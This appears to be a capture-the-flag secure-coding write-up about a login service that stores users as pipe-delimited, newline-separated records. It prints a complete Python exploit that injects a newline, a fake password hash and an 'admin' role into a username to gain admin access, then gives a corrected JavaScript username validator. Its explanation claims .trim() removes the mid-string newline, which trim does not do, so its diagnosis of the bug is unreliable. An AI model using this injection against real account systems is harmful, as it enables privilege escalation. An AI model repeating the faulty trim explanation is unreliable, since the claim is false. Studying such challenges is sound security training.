Secure coding challenge where we need to fix a vulnerability. They give us an exploit script that shows how to escalate to admin by injecting newlines into usernames.
from requests import post, get
import random
import string
import re
BASE_URL = "http://localhost:1337/challenge"
def random_string(length=6):
return "".join(random.choices(string.ascii_lowercase, k=length))
def register_user(username, password):
url = f"{BASE_URL}/api/auth/register"
data = {
"username": username,
"password": password
}
response = post(url, json=data, allow_redirects=False)
return response
def login_user(username, password):
url = f"{BASE_URL}/api/auth/login"
data = {
"username": username,
"password": password
}
response = post(url, json=data, allow_redirects=False)
return response
def get_admin_panel(cookie):
url = f"{BASE_URL}/dashboard"
response = get(url, cookies=cookie)
return response
if __name__ == "__main__":
username = random_string(8)
password = "CoolPassword17!"
# password in hash format
payload = "{}|4befd7f713861d52cb520dcf4b5b262b11a306fbd19a76563fa36b07e99a7aef|admin\n{}".format(username, username)
register_user(payload, password)
# if register success, then we can login with the original username. Our role now should be admin after the injection.
cookies = login_user(username, password).cookies
response = get_admin_panel(cookies)
if "powergrid - administrator control" in response.text.lower():
print("Exploit success. Admin access obtained.")
print("Login with username: {} and password: {}".format(username, password))
else:
print("Exploit failed.")
The attack payload looks like this:
payload = "{}|4befd7f713861d52cb520dcf4b5b262b11a306fbd19a76563fa36b07e99a7aef|admin\n{}".format(username, username)
It injects a newline to create two user records - one admin, one regular user. When you log in with the username, it finds the admin record first.
The bug is in the validation logic:
// auth.js - VULNERABLE CODE
function validateUsername(username) {
const u = asString(username).trim(); // <-- ERROR: .trim() runs FIRST and removes the injected '\n'
// ... check format ...
if (FORBIDDEN_CHARS_RE.test(u)) return { ok: false, msg: 'Invalid username characters' }; // <-- Security check runs SECOND
return { ok: true, value: u };
}
See the problem? It trims first, THEN checks for forbidden characters. But .trim() removes newlines (they’re whitespace), so the \n gets stripped before the security check runs!
The fix is simple - validate FIRST, then trim:
// auth.js - FIXED CODE
function validateUsername(username) {
const u_full = asString(username); // Raw input string
// 1. CRITICAL: Check for forbidden characters (like '|' and '\n') before trimming
if (FORBIDDEN_CHARS_RE.test(u_full)) {
return { ok: false, msg: 'Invalid username characters' };
}
// 2. Trim and check format/length (this is safe now)
const u_trimmed = u_full.trim();
if (!USERNAME_RE.test(u_trimmed)) {
return { ok: false, msg: 'Invalid username format' };
}
return { ok: true, value: u_trimmed };
}
Now the forbidden character check runs on the raw input before any trimming happens. The newline gets caught and rejected.
Flag: Submit the fixed code to get the flag!